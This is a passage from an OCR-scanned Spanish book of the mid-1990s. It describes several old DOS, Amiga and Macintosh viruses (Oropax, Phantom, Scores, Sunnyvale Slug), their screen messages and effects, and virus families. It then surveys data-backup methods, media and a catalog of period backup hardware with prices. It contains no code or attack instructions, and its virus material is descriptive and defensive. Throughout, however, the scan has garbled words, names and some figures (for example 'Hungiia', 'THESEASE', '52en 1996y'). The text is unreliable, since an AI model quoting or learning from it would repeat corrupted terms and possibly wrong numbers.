operativo DOS, por lo que en adelante todo intento de crear,
renombrar, remover o visualizar cualquier subdireclorio o
archivo con extensién .COM activa la infeccion. Aleatoria-
mente, al activarse, toca tres melodias en varias ocasiones,
con mtervalos de 7 minutos.

Fue descubierto hasta diciembre de 1989, aunque ya se
mencionaba en repories anteniores, Los archivos infectados
incrementan su longitud entre 2 756 y 2 806, para lograr una
longitud final siempre divisible entre 51. Las tnicas varian-
tes que se conocen son Oropax-8, Oropax-C y Oropax-13.

-

Figura 6.11
Esta calavera
que presenta
Phantomn 1, va
aparectendo
lentamente y
cuando esta
completa, de las
cavidades
oculares salen 2
rQyos Qzules.
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Phantom. Virus no muv comun descubierto en 1991 en
Hungiia Es residente en memoria ¢ inf_uctnr de los archivos
LCON, exeepto el COMMAND COM. Cuando uno de estos
archivos infectados se esta ejecutando, se despliega el si-
guienie mensaje:

“IH1 ROOKIE!

I'm a THESEASE! | hve in YOUR computer - sorry.

Thanks to Brains in the Computer Siences!”

el cual estd encriptado dentro del codigo, junto con ofra ca-
dena de texlo, también encriptada: “The PHA NTOM Was here
S SORRY” "(¢c) PHANTOM - Tlas virus was desrened in the
HUNGARIANT "VIRUS DEVELOPING LABORATORY.
(HVDL)oldm.

En ¢l programa antivirus AVP_200, se menciona el virus
Phanlom?, que infecta también a los archivos EXE v cuando
no se utihiza el teclado por un cierto tiempa, actia como un
protector de paatedla (Sereen Saver), presentando en el momlor
imdgenes lerroriticas (ver figuras 6 11, 6. 12y 6.13).

Retro-Virus  Este es un virus muy especual, y por lo que
se puede entender del estudio realizado por Steve Gibson, se
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Figura 6.12
Cuando se ve
completala
calavera
presentoda por
Phontom |, se
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mezclar un texto

¥ va
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Figurca 6.13
Finalmente
queda solo
eltexto
PHANTOM | en
la panitalla,

en un colof rojo
“candente”

hospeda en tres programas de los Hamados sharciare o soli-
! ! :

ware compartido, que no tienen nombre. Ataca programas

cjecutables y debe su nombre a fa forma de comunicarse con
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las copias de si mismo, mediante una bandera en forma de
trébol que permanece oculta al sistema.

Cuando se activa cualquiera de las tres partes del progra-
ma se activa la bandera, y cuando se ejecuta uno de los tres

programas infectados, se desactiva. Si el virus detecta que se

apaga repentinamente ol sistema, supone que se ha removi-
do el programa infectado y espera pacientemente durante al-
gunos meses para después reinfectar los programas que sc
pongan a su alcance.

Virus SCA. Aparecio en octubre de 1987, Proyecta un
mensaje en la pantalla del montor: Somethng wonderful has
happened Your Anigit 15 alive! And coen belter, some of your disks
are infected by a VIRUS! Brought to you by ahother masterpuece of
the Mega-Mighty SCA. Ataca el sector de carga y se posiciona
en la memaoria al cargar el disco infectado.

Scores. Este virus ataca las computadoras Macintosh.
Consiste en una bomba de tiempo que s activa a los dos,
cuatro y siete dias después de la infeccion del disco. Sus re-
sultados san imprevistos y van desde problemas de impre-
sién y fallas en el sistema, hasta fallas en las pperaciones de
acceso a disco y modificaciones a los archivos de datos —no-
tas y apuntes—.

Se supone que se origind en Electronic Data Systems, de Da-
llas, a fines de 1987. Posiblementca principios de enerode 1988,
una compafia de Washington vendid, sin saberlo, un buen na-
mero de computadoras con el referido virus en el disco fijo.
Aunque no afecta los archivos de datos, si ataca cualquier pro-
grama vjecutable, incrementando su longitud en aproximada-
menle 7 kB, por o que para su erradicacion se deben ehiminar
todos esos programas, ¢ incluso los archivos de sistema.

l.a firma Apple, admitiendo su existencia, se coloco como
pionera lanzando al mercado un programa antiviral llamado
Virns RX, junto con olras vacunas para sistemas I’C, Macin-
tosh, Commodare, ctc.

Sunnyvale Sfug. Suorigenes obvio por su nombre, pero
lo que se desconoce us ia fecha de su aparicién. Ya en julivde
1988 Ia revista I'ersonal Computing citaba el ataque de este
virus a una compaiia del norte de California,

Este virus produce alpunos efectos bemignos y otros des-
tructivos, y furma un mensaje en ia pantalla en el que se lee:
Greelings from Sumnyoale. Can you fund me? (Saludos desde
Sunnyvale. ;Puede encontrarme?), y a veces modifica el co-
mando COPY del sistema DOS para que climine o borre In-
formacion, en vez de coprarla
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6.3 Familias de virus

El programa de hipertesto de Palricia M. Hoflfman también
presenta en uno de sus incisos, Relatwnshipy Chart, la relacion
que existe entre los diferentes virus; s dearr, las famiias de or-

rus. De entrada se observan 21 virus principales o cabezas de
Jamilia,

Figura 6.14 File Configure Goto VSMM Sections Help

Pantalla de
VSUM mostrando
la opcidn
Relationship - .
Chart, donde sa ; = Virus Relationship Clharts -
ven los virus mdas

profificos entre il nlaneda Chart Jerusalen Chart Possessed Chart
todos 10s _ Cascade Chart Reypress Chart Screan Chart
conocidos. i Bark Avenger Chart Leprosy Chart Stoned Chart
3 Flip Chart Murphy Chart Syslock Chart
Friday .13th Chart H. Hacker Chart - Tiny Fanity Chart
Hydra Fanily Chart . Plxel Chart " Traceback Chart
" lcelandic Chart Ping Pong Chart Ulenna Chart

Dther Virus Relaticnships

Fi:Help F2:Nenu F4:Srch F5:Print F7:Color FB:Viewed <C- ) FI0:Exit ESC:Golcl

I:stos virus son los mis conocidos y diseminados a través
de todo ¢l munde, propiciando asi que su codigo sea ultitiza-
do para crear o modificar versiones, agregdindoles inevas
Sunciones o corrigiendo ervores (Bugs), que los hacen mas fun-
cionales para lograr sus daninos cometidos. De entre estos 21
virus, cabe destacar que las familias mds profificas son cuatro:
Vienna, Jerusalén, Dk Avenger y Sloned, en ese orden

Por vltimo, y para conctuir este capitulo, ne olvide que s
se advierte alguna alteracion en los archivos, aly,. © tento
de escritura en ¢l disco sin gue se le haya indicado & . L ain-
putadora, o bien interferencias o mensapes extranos on la
pantalla, es probable que se irate de Ja acaion de un virus. Lo
primero que debe hacer es apagar ba computadora, hacer la car-
ga desde un disquete himpio con sistenld operativo y utilizar
un programa anhvirus o mas actualizade posible, para de-
tectar y ehiminar al extrano.

.

Figura 6.15
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. r Monxla
Figura 6.15 b Monxla B
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Si el sistema tiene al menos una unidad de disquete, apa-
gar la computadora basta para eliminar el virus de la memo-
ria, pero si tiene disco duro, es posible que haya que tomar
olras medidas como las que se mencionan en ¢l Capitulo 8,
que trata acerca de la proteccién contra los virus informati-
¢os, o ulilizar un programa antivirus como los que se anali-
zan en el Capitulo 9. :

Respaldo de datos
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A unque en los capitulos anteriores no se hizo sulicienle
¢énfasis en una de las principales medidas de proteccion
contra los virus, la cual consiste en hacer periddicamente co-
pias de respalde (backup) de los archivos que contienen los da-
tos creados por usted, este capitu]o esta integramente
dedicado a ello, porque, si es verdad que el hacer copins de se-
gurulad de los datos no los protege direclamente contra los
virus, también lo vs el hecho de que ésta es la mejor manera
de salvaguardarlos de cualquier desastre, sea causado por vi-
rus o no.

Generalmente [as personas que utilizan las computadoras
para acelerar y “ordenar” su trabajo ienden a ser desordena-
dos -este quizds no sea su caso-. La computadora es tan ab-
sorbente que “aparentemente” no queda tiempo para nada;
ni ordenar los disquetes, ni los dalos que se tienen en el disco
dure, mucho menos para dedicar un cierto liempo a salva-
guardar i infoninacion que tanto trabajo ha costado generar

Cuando ocurre un evento inesperado como daios fisicos
en el disco, pérdida de la configuracién de la computadora
—como cuando se descarga la pequeiia pila que permite con-
servar los datos det CMOS—, o incluso por una infeccion de
algin virus informitico, se pierden todos los datos almace-
nados en el disco duro. Entonces la mejor manera de salva-
guardar esa informacién y recuperarla tal y como existia
antes del percance, es contar con una mefodvlogia de respaldo
diario, semanal y mensual,

Esta debe ser la preocupacion primordial Jde todos los
usuarios y los departamentos de informitica de las empresas
que trabajan con sistemas computadorizados. La mayoria de
las veces, esta sencilla precaucion se descuida por desconoci-
miento del proceso, por mala planificacion de los departamen-
tos de informalica o por la erronea creencia de que se trata de
un procedimiento que consumira buena parte del tiempo
que podria dedicar ¢l usuario a trabajo mds creativo.

Para interesar al lector en algo tan importante como con-
servar la integridad de los archives de dalos, se presentan
aqui los métodos mds comunes para respaldar esa valiosa in-
formacidn. Los equipos y programas de respaldo han evolu-
cipnado tanto, que es inconcebible que no se dedique el poco
tiempo quie se requiere a esle asunloe tan importante, ya que
hasta ius sistemas operativos, como MS o PC DOS, en sus
versiones 6.0 y posteriores incluyen un programa BACKUP
dedicado exclusivamente a respaldar informacion desde DOS
o Windows,
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Aquellos usuarios que ya tienen cierto conocinuento del
sistema operativo PC o MS DOS, no tendran ningtn proble-
ma en hacer sus copias de respaldo utilizando los comandos
Backup, Restore, Copy o Diskcopy, aunque existen sistemas
—equipos y programas— que hacen mucho més veloz y confia-
ble la copia de archivos y programas, e incluyen la verifica-
cién y comparacidn de los datos copiados para estar seguros
de que se ha realizado perfectamente la copia de seguridad
(Backup).

7.1 Métodos de respaido

Generalmente, cuando se habla de respaldo de datos, se
piensa que solamente se deben proteger los que se almace-
nan cn el disco duro, pero es conveniente que cralquier archi-
vo generado en la compntadora se grabe en disquete o disco
duro y ademas se duplique en disquetes o unidades de res-
paldo. Un método practico de duplicacidn consiste en grabar
¢l trabajo con dos nombres diferentes; asi, si se dafia uno de
los archivos, siempre s¢ podra contar con el duplicado.

Lus métodos mds usuales de respaldo (Backup) de archi-
vos sc pueden clasificar en dos tipos:

Método selectivo

Permile al operario seleccionar exclusivamente los archivos
que desea respaldar, y aunque aparentemente es un poco
mas lenlo, tiene ventajas tales como evitar la fragnientaciin de
archioos, pues los lee de donde estén y los copia en un solo
lugar. Por otro lado, permite copiar los archivos en el urden
que se requicra —cronoldgico, alfabético, ete.—

Método de duplicacién de espejo

El método de duplicacion o copia de espejo (mirror backup) per-
mite copiar los disquetes o discos duros, exactamente en ¢l
mismo orden en que se encuentra la informacién, aunque
esté fragmentmin s un proceso mas rdpido, pero ticne el in-
conveniente de que copiard incluso informacion que este da-
fiada. Se recomienda para duplicar un disca duro completo
—-mncluyendo datos y programas—, en otro disco o cinla que s¢
vaya a utilizar en otra computadora.

Para protegerse mejor contra los vrrus inforidticos, es reco-
mendable el mélodo selectivo que permite respaldar unica-
mente los archivos de datos Claro que es necesario conlar
con los programas originales guardados en un lugar seguro,
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a fin de poder reemplazarlos en el sistema en el caso de sufrir
alglin percance o una nfeccidn por cualquier tipo de virus.

7.2 Equipos de respaldo

Se han disefiado equipes con una enorme capacidad de alma-
cenamiendo y muy altas velocidades de transferencia de da-
tos, que cuentan con excelentes programas controladores, los
cuales permiten hacer respaldos automiticamente, sin la in-
tervencion del operario, programando la cantidad de archi-
vos a copiar —que puede ser de acuerdo a la extensian, el
nombre, o a si fueron modificados- y los horarios para reali-
zar la copin de seyuridad.

En esla calegoria se encuentran las unidades para discos
flexibles de extra alta densidad, los discos tipo Winchester, los
sistemas de ciplas y casetes, los discos dpticos y magnelo-iplicos,
los discos dwros remoribles, ete Aungue no todos estan actual-
mente en an nivel econdmico que permita ponerlos al alcance
de cualquier persona, si ofrecen una varedad de posibilida-
des entre las cuales usted pucede escoger la mas apropiada
para sus necesidades particulares

Los drsquetes de exra alte densidad pueden ser de utihdad
como medio de respaldo, pero su capacidad mdxima de al-
macenamiento es, a lo sumo, 40 MB -igual a la minima que
ofrecen las cintas de menor capacidad—, y son todavia difici-
les de encontrar con los proveedores de equipos de computa-
cion.

En el Capilulo 2 se mencionaron algunos medios magnéti-
cos para almacenar la informacion que se genera con la com-
putadora; entre ellos estin las unidades de emta magndética o
casetes, las unudades portitiles de disco flexible, los discos
duros, ete. De ellos, los discos Mjos o dures estan considera-
dos como la mejor opadn para ¢l almacenamiento de datos
por su velocidad de acceso —que en algunos casos es menor
que 16 milisegundos-, y por su capaaidad de almacenanuen-
to que rebaza facilmente los 500 MB, ¢ incluso en sistemas de
redes se hacen necesarios los discos que pueden soportar de-
cenas de gigabytes.

El problema se presenta cuando se intenta hacer una copia
de seguridad de discos {ijos con estas capacidades o mas, por
medios convencionales como descargar toda ta informacion
en una gran canbidad de discos (lexibles. Como solucion, se
desarniollaron imicialmente sistemas de respaldo con capaci-
dades de 20 0 40 MB en cartuchos, como por ejemplo las cajas

¥
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de Bernoulli, que actuahnente soportan capacidades de cien-
tos de megabyles, y otros éplicos o magneto-opticos cuyas
capacidades son de varios gigabytes.

Respecto a la duracién, en condiciones dptimas, de 1os me-
dios de almacenamiento, los discos se consideran con mas
posibilidades de conservacion pues lienen una capa mas
gruesa y una cubierta magnética mas densa, por lo que ofre-
cen mayor posibilidad de soportar condiciones extremas de
temperatura y humedad sin deterioro, y obviamente resisti-
ran mds tiempo en buen estado.

ILas unidades dpticas y magneto-oplicas, como las de nna
sola escritura iy muichas lecturas {WORNMI) o las que purmiten
borrado y escritura de datos, son muy titiles como medios de
almacenamiento aleatorio por su extraordinaria velocidad y
gran capacidad, pero su mayor desventaja es su precio, que
la mayoria de las veces es superior a los 3 000 délares y unos
300 délares por disco.

7.2.1 Unidades de respaldo en cinta

Las unidades de respaldo en cinta han evolucionado de
acuerdo a las necesidades de la nueva tecnologia informdti-
ca, ya que empleando la arquitectura de microcanales logran
la grabacién de los archivos a enormes velocidades., Aprove-
chando programas de control de los dispositivos de disco, s
optimiza el tiempo de respaldo, por lo que no se hace necesa-
rio ejecutar toda la cmnta para localizar una informacion re-
querida o el final del altimo archivo para continuar copianda
la informacidn.

Con estas técnicas y 1as ventajas que ofrecen los casetes del
upo DCH00 o SCSI, se logran velocidades de acceso lainfor-
macién superiores a los 10 MB por minuto y capacidades de
almacenamiento tan grandes, que ya deben medirse en gi-
gabytes (miles de millones de bytes, GB).

La cinta magnética resutta ideal cuando es necesario alma-
cenar grandes cantidades de datos en el mismo medio, como
por ejemplo respaldar discos duros, pues las de menor capa-
cidad pueden almacenar unos 10 megabytes en un solo casele
y las unidades de exploracién helicoidal legan a almacenar
hasta 5 gigabytes por casete, cantidad que se incrementa
constantemente con los avances de nuevas teenotogias Ade-
mas son faciles de conseguir, pues existe ya gran cantidad de
fabricantes de equipos de respaldo en cinta y medios magné-
ticos como casetes y cartuchos ~la cinta normalmente es mu-
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ch_o mads barala que otros medios magnéticos de almacena-
miento-.

Formatos de cinta

Las cintas tienen alguna desventajo cuando se trata de acce-
sar la informacion en torma aleatoria, pero para respaldos de
archivos en forma continua no hay como éstas, pues la vela-
c?dad de acceso alanformacidn os bastante aceptable, el pre-
clo muy competiivo ¥ su capacidad lo mejor. Los cuatro
grandces formatos de einta que se conocen son;

Carrete a carrete (Reel to Reel)

Con cinta de medida de media pulgada, estos “carretes” son
10s que mds se utilizan para los sistemas grandes como mini-
computadoras y macrocomprtadoras (Mainframes), con costos
muy elevados. Se estin reemplazando por otros medios de
menor costo, mayor velocidad y mayor capacidad de almace-
namtento.

Carrete de 8 mm de ancho (8 mm Carhlridges)

Formato que todavia se utiliza bastante en las cnjas de Bernou-
Il y en casetes o cartuchos, con mayor desempefio que las de
otras medidas de ancho, Emplean generalmente la teenolo-
gia de exploracidn helicoidal -de Exabyte-, que estd hasada en
mecanismos de VOR (Video Cassette Recorder) analogico de
8 mm de Sony, con tres cabezas (servo, lectura y lectura des-
pués de escritura) y una cabeza de borrado adicional que eli-
mina a todo lo ancho de la cinta en una sola pasada.

QlC (Quarter-Inch Cartiidge)

Carrete de 3 de pulgada se ha popularizado mucho. Algu-
nos modelos como el DC2000, DC600 o IXCI135 fabricado
por 3M se han hecho indispensables, pues han impuesto el
estandar de la Awmerican Natonal Standards Institute (ANSI).
Los fabricantes de unidades de respaldo (backup) las han
adoptado para sus equipos por su versatilidad y su reducido
lamano.

Los estindares para almacenamiento de informacién en
cintas de ¥ de pulgada ban sido reglamentados por la Quar-
ter-Inch Canindge Association, en Estados Unidos, especiii-
cande las interfaces entre las compuladoras y las unidades
de respaldo, cddigos de correceidn de errores, algoritmos de
compresion de archivos, formatos de cinta y propiedades de
las cabezas de grabacion.
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Cintas de Audio Digital (Digital Audio Tape, DAT)

Estas cintas de 4 mm manejan los comandos SCS1, que se es-
pecifican en el estindar QIC-104 y estin cambiando al QIC-
121, que es el conjunto de comandos SCSI-2 que se utilizaran
enel futuro,

7.2.2 Unidades de discos oplicos

Las nnidades de discos dpticos representan un término medio
entre las unidades de respaldo en cinta y los discos duros de
grandes capacidades de almacenamiento, porque aungque
son un poco mas lentas en su acceso a la informacién que los
discas, por atro lado son mucho mds veloces que las cintas v
almacenan cuantiosos datos, con un promedio de vida aiil a
partir de su escritura de mas de diez anos.

Generalmente los pletos dpticos son de unas 5 14 pulgadas y se
pueden leer o escribir de un sole lado. 51 se quisiera escribir
por el otro lado, svria necesario vollearlo, Son removibles y
tienen una gran capacidad de almacenarmienio. Los discos ap-
ticos se presentan en cartuches removibles v se dividen en
dos categorias: CD-ROM (Compact Disk-Read Only Me-
mory) o disco compacto de sélo lectura, y de una sola escritura
y muchas lecturas (Write Once Read Many, WORM), que per-
mite escribir en los espacios disponibles, pero nunca sobre infor-
macion almacenada con anterioridad, y no se puede borrar.

Esta innovadora tecnologia se estd utilizando muchisimo
en lo que se conoce como Mudtinedia, ya que el proveedor de
los CD-ROM puede incluir hasta poco mas de 600 MB de in-
formacion en un disco de 5 Y4 pulgadas, y las unidades para
leerlo pueden conseguirse en alpunos casos con menos de
300 dolares. Obviamente los CiD-ROM no son recomendables
para respaldar datos, excepto que éslos no se necesiten en el
fuluro sino para leerse,

El problema radica en que los fectores de discos dpticos de
este tipo no pueden escnibir en ellos, por lo que se necesitaria
una unidad de escritura que podria costar arniba de 3 000 dé-
tares, y tendria una capacidad de reproduccion de CD-ROM
de unas cuantos al dia. La mayoria de kas aplicaciones que se
desarrollan en este tipo de medios son de indole cientifica ¥
educativa, ya que han proliferado las enciclopedias y progra-
mas arlisticos incluyendo migenes, sonido vy mnnacion.

Los discos CD-ROM son la extension de la teenologia de
atio CD desarrollada en la década de los setentas por las
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empresas Philips y Seny, que se coneretd en 1983 Como todos
los medios de almacenamiento de datos, los CID-ROM graban
la informacion como wiog y coros que son leidos mediante una
unidad equipada con un rayo de luz Iser, Almacenan un pro-
medio de 480 disquetes de 3 14 pulgadas de alla densidad, que
equivalen aproximadamente a unas 275 000 paginas de texto
La mayoria de las computadoras que se ofrecen en el merca-
do hoy, cuentan con una wiudad reproductora de CD-ROM.

7.2.3 Unidades de discos magneto-opticos

Las unidades de respaldo enodisco magnete-dplico (MO) se es-
tan estandarizando como tos sistemas removibles ded futuro
por su versatlidad, velocidad de acceso adecuada v gran ca-
pacidad de almacenamiento de informacion, que se mide en
gigabytes, caracterishicas que satisfacen las necesidades de
los administradores de redes de computo y sistemas de gran-
des empresas,

Ll disco estd encapsulado y reaibe la informacion por medio
deunayo ldser que calienta una seccidn,del disco, grabando
la informacion en forma binaria gracias al magnetisimo de su
superficie, ademds de permilir el borrado de la informacion.
El graninconveniente de estas unidades de respaldo de datos
s, por ahora, el precio tan clevado de tas unidades v de los
medios de almacenamiento. Aunque la leenologia magneto-
Optica hace mds lento el acceso al disco —problema que esta
siendo superado dia a dia-, cstos soportes dplicos borratles
(Erasable optical data disk) permiten borrar més de un mi-
16n de veces la mformacion.

En cambio, esta lecnologia ofrece muchas caracteristicas
que la ponen en la mira de los usuarios de computadoras;
comuo son medos reamovibles, se puede grabar informacién y
abmacenarla en un lugar seguro, y estar intercambiando dis-
cos o cartuchos para cada necesidad, las capacidades de al-
macenamiento en 1993 cran de 1.3 GB por disco de 5 14
pulgadas, y las expectalivas para el futuro son de 2.6 en 1995,
52en 1996y finalmente Hegar a 104 GB en 1998, por lo que
no se necesitan muchos MO para guardar los respaldos de
toda una red de computadoras, ele.

7.24 Discos duros

Actualmente los discos duros son el medio umgm‘.'u‘uVindls-
pcnsablc en los sistemas de compulacion personales, mdus-
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triales, de oficinas, escuelas, eic., ya que la mayoria de paque-
tes de softivare requieren una gran capacidad de almacena-
miento, tanto para los programas que se van a utilizar como
para la informacién que se genera con éstos, ademas las gran-
des velocidades que alcanzan éstos en el acceso a los datos
~lectura o grabacién- los hacen perfectos para ser utilizados
como sistema de almacenaniente general de mfermaciin o me-
moria “fisica” del sistema.

Los discos, segun sus capacidades, estin constituidos por
uno o mis platos de consistencia rigida, apilados, que giran
sobre un eje comin a una velocidad promedio de 3 600 rpm.
Al encender la compuiadora se inicia el movimiento Jdel dis-
co, pues seiia ildgico que el disco se empezara a mover cada
vez que se necesite grabar o teer alguna informacion -las
computadoras “verdes” o ecoldgicas detienen el giro del disco
duro cuando se deja de utilizar durante cierto tiempo para
ahorrar energia-, puesto que larda algunos segundos en al-
canzar su velocidad de operacion,

Tienen duvs cabezas de lectura/eserilura —una por cada
lado- para cada plato en la pila, para optimizar el acceso a la
informacidn que se encuentre en cualquier lugai el disco, lo
que los hace avin mds veloces. Aunque las capacidades de los
discos hjos oscilaban enlre 10t y 40, ya existen modelos capa-
ces de almacenar mds de 1 GB y sus precios son muy accesi-
bles para cualquier usuario ~Un disco promedio de unes 210
MB s consigue por pouco mds de 300 ddlares, y los precios
van en descenso debido a la gran cantidad de modelos que se
ofrecen en ¢l mercado y a la baja generalizada en los produc-
tos de computacion —programas y equipo-. :

Ahora se consiguen incluso unidades removibles de discos
duros a precios muy razonables, que se pueden lransportar y
conectar a cualquier computadora sin ningin problema, por
lo que se pueden utilizar como unidades de respatdo o bien
como discos de trabajo en computadoras de escritorio o en
las portables o portatiles {Laptops, Notebooks, Subnote-
buoks y Palmtops).

7.2.5 Respaldo de informacion en redes

Los adunrinistradores de redes conocen la apremianie necesidad
de realizar copias de segundad de los vahasos y abundantes
datos que se gencran en las computadoras a su cargo. Las
empresas deben concientizarse de que el costo de los grandes
sistemas de resguardo de dalos siempre sera menor gue el
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costo normal de respaldo cuando no se cuenta con estos equipos
y software, sobre todo si se tiene que agregar el costo de res-
taurar la mformacion despuds de cualguier tipo de desastre.

La mejor manera de resguardar los datos de las redes es
utitizar ststemas con caryadores antonndticos y hiblistecas, como
por ejemplo el ADIC (Advanced Digitat Information Coip.)
DAT Auwtochanger 1200C, utihzando software especializado
como Mountam TapeWare, Xpress ibvarian o Nebwork Archimst,
que permiten automaltizar las tareas de respaldo, prescin-
diendo del elemento que mas problemas provoca en estas ac-
tividades, el hombre. Estos sistemas permaten planear
estrategias de transferencia y proteccion de datos basadas en
la oportunidad, necesidad y uso frecuente o uso hinndado dela in-
formacion.

Obviamente ¢l coslo de estos sistemas ¢s muy superior al
promedio —sicmpre mayor que 10 000 dolares-, pere hay que
considerar que los benehaios que se obtivnen superan en dinero,
confiabilidad y precision a los que pueden darse sise ulihzan
medios tradicionales. Por ejemplo, una empresa que cuenla
con una red de 200 estaciones puede tener costos de ransferencia
y resguatdo de archivos de mucho mas de 1000 000 de dolaies,
los cuales puede reducir considerablemente s1 hace una an-
version de unos 20 000 dolares, .

A continuacidn se incluye una lista con varios lipos de
equipos para respatdo de diferentes capacidades de almace-
namiento v, desde luego, algunos con precios muy elevados.
Estos no son muy necesarios para los usuarios de compata-
doras personales con equipos sencillos, pero las empresas
con sistemas computadorizados y redes con varios servido-
res, deberian considerar seriamente Ia adquisicion de alguno
de eltos.

Es claro que esta lista no estd completa, pues existe una
gran cantidad de equipos de respaldo, y diariamente se desa-
rrotlan nuevos métodos y medios de almacenamiento de in-
formacién, por lo que pueden faltar muchos modelos o
incluso desaparecer algunos del mercado, pera se mencionan
aqui los mds conocidos para proporcionar, a los mteresados,
informacion que puede ser de gran utilidad. Los precios son
los de Estados Unidos y se presentan en délares de ese pais

ACA DR (Discus Rewritable), producte de Advanced Gra-
phics Applicalions, Inc., es una umdad de respaltdo de infor-
macion en disco Optico borrable, con capacidad de 650 MB,
que se incluye con software controlador, el cual pernute rea-
lizar la instalacion correctamente y hacer parliciones muy
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grandes en el disco. Requicre 128 kB de memoria RAM, siste-
ma operativo PC/MS-DOS 3.0 o posterior, y adaptador SCSI
de 8§ bits.

Archive XL 5540. Un producto de Arclive Corporation, con
capacidad para almacenar 40 MB en cinta de formato 1DC200.
Tiene un precio de 499 ddlares por la uridad interna, y de 679
por la externa. Utiliza el estindar QIC-40. LLos modelos XL 5580,
unidad externa e interna, Henen una capacidad de 80 me-
gabytes.

Augmentx Retriever RT250P. Unidad de respaldo en cin-
ta que se puede mover de un lugar a otro para respaldar la
mformacion de varias computadoras en oficinas y empresas
chicas o medianas, es un producto de Augmentx Inc., conun
precio de 449 dolares. Incluye el programa Colorado Backuy
Jor Wopdotes, que pernute la transflerencia de datos con muy
buenos resultados.

Backpack 250. Producto de MicioSalietions Inc., que per-
mitle hacer copias de seguridad en mini cartuchos de cinta
con los estandares QIC-10 y QIC-80 a una veloaidad maxima
de 9 MB por minuto. Se puede conseyguir a un precio de lista
de 339 ddlares.

Bering 7600. Unidad de respaldo magneto-optica en car-
tuchas removibles de 5 Y pulgadas, con capacidad de alma-
cenamiento de acceso aleatorio de 650 megabytes. Producto
de Bering Industrices para computadoras Hewlett-Packard.

Braemar $X40. Unidad de respaldo en cartucho de cinta
con capacidad de almacenamiento de 60 MB, que ofrece Brac-
mar. Disenada para los sistemas Macintosh,

Cachet System 6 de Maxinuan Storuye es una unidad mag-
neto-6plica borrable de respaldo tipo 5CSL, con capacidad de
almacenamiento de 128 MB, que permite velocidades de trans-
ferencia de unos 15 MB por minuto. Aungue se trata de la
nueva tecnologia OM, su precio ya es menoer de 700 délares.

Cirrus 600 MO. Unidad de respalde magneto-éptica, con
capacidad para almacenar 600 MB de datos, que permile gra-
bar y borrar informacion y que cuenta con soporte de progra-
mas de control (Silverlining y Silverserver); todo el equipo
estd diseiiado por LeCie Lid,

CT150. Unudad de cinla con capacidad de almacenamien-
to de datos de 150 MB y estandar QIC-24, es un producto de
Core International Inc, con disposicion de unidades interna y
externa Utiliza cinta de formato DC600XTD.

CY-8200. Sistema de respaldo en cinta de 8 mm, queinclu-
ye como unoe de sus principales atractivos una pantalla de

e
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cristal liquido de 2 lineas por 40 columnas, la cual permite
monitorear ¢l proceso durante la preparacion de las coplas
de respaldo. Funciena medianie la teenologia de eaploracidn
helicordal, a una veloaidad de respalde de 15 MB por munuto
y con una capacidad de almacenanmiento de hasta 2.5 gigabv-

“tes. Trabaja con ¢l codigo de correcaion de errores (Error Co-

rrection Code, ECC), que permite hacer copias con
verilicacion de integridad. Es un producto de Cybernelics
Group.

DataFile. Disco fijo portdtil que se conecta a cualquier
puerto paralelo en computadaras de escritorio o portatiles,
producto de Axonn, con capacidades para almacenamiento
que van desde 20, 40 0 100, hasta 200 MB Se presenta en un
gabinete muy pequeo, de 51 15 x 18 cm v pesa menos de 2
kg. Viene piotegido contra impactos, por lo que se puede
transportar sin ningtin peligro, v se recomienda como disco
de trabajo integrado al sistema o como umdad de respaldo
para realizar copias de sepuridad del disco fyo

DataFrame XI'100. Un preducto de Super Mac Technology
para las Macmtosh, que mcluye utlidades como el programa
de respaldo (backup) DiskFit, que permite reahizar los 1espal-
dos de discas flexibles o fijos facilmente. Ademds inclu-
ye 2 programas muy completos para colas de espera (Printer
Spooler) ¢n impresian, uno para impresién de imagenes
(Image Writer) y otro para Apple Tatk image Writer e impre-
sora Laser.

DataPak. Unidad de respalde en cartuchos removibles de
cinta para sistemas Macintosh, presentada por AMass AMecros-
ystens Inc., con una capacidad de almacenamiento de datos
de 15 MB en un pequeno cartucho removible. Su velocidad
de acceso de 25 ms la hace una de las mds rapidas, y con el
programa que se incluye (KopyKal) se [acilita el respaldo de
los archivos

DataVault Sistema de respaldo en cinta con capacidad de
1.3 GB, presentado por Tecmm . Respaltda archivos en estacio-
nes de trabajo v redes a una velocidad de 11 MB por minuto,
e incluyve un programa de control capaz de accesar la infor-
macion a traveés de toda la cinta (1.3 GB) en unos 43 segundos
de forma automalica.

Easi Tape. Umidad portiti de respalde en amla de alta
velocidad, de Awalog Digital Periplierals e, que opera con
baterias y se conecta a cualquier puerto estandar R5-232 sin
necesidad de tarjeta o contrelador de disco. Reatiza la copia
de los datos y cornge errores anutomadticamente,
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EXB-8200. [sun subsistema de respaldo en cascete de cin-
la con formato de 8 mm y capacidad de almacenamiento de 2
GB a una velocidad muy adecuada. Producto de Perfect Byte
Inc., dtil en equipos con sistema Unix y redes, y para eslacio-
nes de trabajo.

FILESAFE 1200 y 7500. Son sistemas de cinta audiodigita-
les, EI'1 200 tiene una capacidad de alinacenamiento de 1.3
GB, utiliza tecnologia de exploracidn helicoidal y estd dise-
fiado para computadoras PC, estaciones de trabajo y redes
{LAN) El modelo 7500 tiene una capacidad de 525 megaby-
tes y ulitiza cartuchos DC6525 Son dos productos de Moun-
tain Computer, Inc., que se presentan en modelos exlernos ¢
internos.

Gigal’ack-LAN, version 1.073. Es una unidad de respaldo
en cinta para discos fijos que se usa en sistemas de redes y
que almacena mds de un gigabyte de datos en un pequeno
casete. Se puede programar el respaldo en horas determina-
das. Incluye un programa (LANsafe) que controla todos los
procesos de Backup y Restore. GigaTrend Inc., ofrece unida-
des externa e interna. Se incluye una tarjeta SCSI para puerto
de 16 bits, y ambas unidades vienen con una pantalla L.CD y
4 bolones para contrel y programacion de los respaldos.

iDSPROSeries. Son discos fijos portdtiles con capacida-
des de 20 a 200 MB, presentados por Integrated Data Storage
System Inc., con una asombrosa velocidad (12-35 milisegun-
dos). Vienen en un gabinete de 5 x 13 x 29 cm, pesan menos
de 1.5 kg y pueden usarse como discos de trabajo o para res-
paldo de la informacién de los discos duros en computado-
ras de escritorio o portatiles. La empresa ofrece garantias do
2,3y 5 anos.

Imager. Tarjeta para control de respaldos en cinta VCR
{Video Cassette Recorder), con formalos Beta y VHS, de Aux-
toeFax Corp., que por un precio de lista de 199 dolares incluye
un programa de automatizacion y control de las copias de se-
guridad, y maneja una capacidad de almacenamiento de da-
tos de 110 a 420 M B, dependiendo de la longitud de la cinta.
Se entrega con cables y conectores.

IOmega Tape 250 Parellel Port Il. Umidad de respaldo en
mini cartuchos de cinta en formato de los estdndares QIC-40
y QIC-80, que permite almacenar 120 MB o 250 s1 se compri-
men los datos. Trabaja con el sistema Digital Servo-Coutrolled
direct-drive y software Arcada Backup for Windows, que prue-
